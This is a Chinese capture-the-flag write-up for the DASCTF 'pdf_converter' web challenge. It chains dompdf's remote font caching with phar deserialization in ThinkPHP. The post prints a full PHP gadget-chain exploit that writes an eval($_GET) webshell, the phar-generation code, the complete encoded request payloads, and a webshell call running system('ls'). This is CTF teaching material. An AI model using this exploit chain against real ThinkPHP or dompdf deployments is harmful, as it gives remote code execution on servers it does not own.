web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战

原文链接:https://www.cnblogs.com/Nestar/p/17358862.html
image

题目内容

这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器
image

就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。
既然这么明显,那就搜索 dompdf 漏洞

知识点

首先看到:https://ghostasky.github.io/2022/03/19/dompdf/
首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件

@font-face { font-family:'exploitfont'; src:url('http://localhost:9001/xxxx.ttf'); font-weight:'normal'; font-style:'normal'; }

然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf 格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。
但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!
然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name 这样就可以触发 phar 反序列化了。

上手试试

这里需要参考大佬的文章:https://buaq.net/go-129526.html

<?php namespace think\cache\driver; class File { protected $options = []; protected $tag; public function __construct() { $this->options['path'] = 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php'; # 这里确定写入的文件内容 PD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4= base64 解码即可。 $this->options['cache_subdir'] = false; $this->options['prefix'] = false; $this->options['data_compress'] = false; $this->tag = 111; } } namespace think\session\driver; use think\cache\driver\File; class Memcached { protected $handler = null; public function __construct() { $this->handler = new File(); } } namespace think\console; use think\session\driver\Memcached; class Output { protected $styles = []; private $handle = null; public function __construct() { $this->styles = ["getAttr"]; $this->handle = new Memcached(); } } namespace think\db; use think\console\Output; class Query { protected $model; public function __construct() { $this->model = new Output(); } } namespace think\model; abstract class Relation { } namespace think\model\relation; use think\model\Relation; abstract class OneToOne extends Relation { } namespace think\model\relation; use think\db\Query; class HasOne { protected $query; protected $selfRelation; protected $bindAttr = []; public function __construct() { $this->query = new Query(); $this->selfRelation = false; $this->bindAttr = ["key无所谓" => "some string"]; // value 是半可控,不能出现 attr ! } } namespace think; abstract class Model { } namespace think\model; use think\console\Output; use think\Model; use think\model\relation\HasOne; class Pivot extends Model { protected $error; protected $append = []; public $parent; public function __construct() { $this->append = ['key' => 'getError']; $this->error = new HasOne(); $this->parent = new Output(); } } namespace think\process\pipes; abstract class Pipes { } namespace think\process\pipes; use think\model\Pivot; class Windows extends Pipes { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } # 内含 phpinfo(); $tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg=="; $win = new Windows(); @unlink("exp_dompdf.phar"); $phar = new \Phar("exp_dompdf.phar"); $phar->stopBuffering(); $phar->setStub(base64_decode($tty_file_bate64).'<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($win); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); $exp_base = base64_encode(file_get_contents("exp_dompdf.phar")); $url_encode_exp_base = urlencode(urlencode($exp_base)); # 第一步 $style_str = <<<EOF content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,$url_encode_exp_base'); font-weight:'normal'; font-style:'normal'; } </style> EOF; echo "第一步,传入 phar 文件:\n".$style_str; # 第二步 $path = "data:text/plain;base64,".$exp_base; $md5_str = md5($path); $phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##"; $style_str = <<<EOF content=<style> @font-face { font-family:'exploit'; src:url('$phar_file_path'); font-weight:'normal'; font-style:'normal'; } </style> EOF; echo "\n第二步,执行 phar 文件:\n".$style_str; ##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????

代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq
下半部分是 phar 文件和 payload 的生成

然后就是算 MD5 的哪里,就是算不对,真实服了啊
没办法只能本地的 dompdf 运行一下看看 md5 是啥了
我这里直接给出三次请求的内容吧
request 1:
image

content=<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KRQUAAAEAAAARAAAAAQAAAAAADwUAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiYzNOelhTazdQejQ9Ly4uL3B1YmxpYy8yLnBocCI7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO2I6MDtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtpOjExMTt9fX19czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czoxMToiACoAYmluZEF0dHIiO2E6MTp7czoxMjoia2V55peg5omA6LCTIjtzOjExOiJzb21lIHN0cmluZyI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImtleSI7czo4OiJnZXRFcnJvciI7fXM6NjoicGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czo0OiJwYXRoIjtzOjEyNToicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlIUlZSYmMzTnpYU2s3UHo0PS8uLi9wdWJsaWMvMi5waHAiO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtiOjA7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7aToxMTE7fX19fX19CAAAAHRlc3QudHh0BAAAAMMVSmQEAAAADH5%252F2KQBAAAAAAAAdGVzdFsaHYAFdtOEpCq1Wjk9ct1aCG2dro9W7jnzV%252FbzvkuZAwAAAEdCTUI%253D'); font-weight:'normal'; font-style:'normal'; } </style>

requests2:
image
image

content=<style> @font-face { font-family:'exploit'; src:url('phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_ae0d25af97028f23b0a1a340f874fa6c.ttf##'); font-weight:'normal'; font-style:'normal'; } </style>

request 3:
image
http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system('ls');
这里的 webshell 密钥是代码哪里写入的 shell 里的
写入的 webshell 的位置也是代码中确定的,以前我写的是 /../2.php 导致会跳到根目录就访问不到了。
获取 flag
image


__EOF__

本文作者Nestar
本文链接https://www.cnblogs.com/Nestar/p/17358862.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Nestar  阅读(204)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示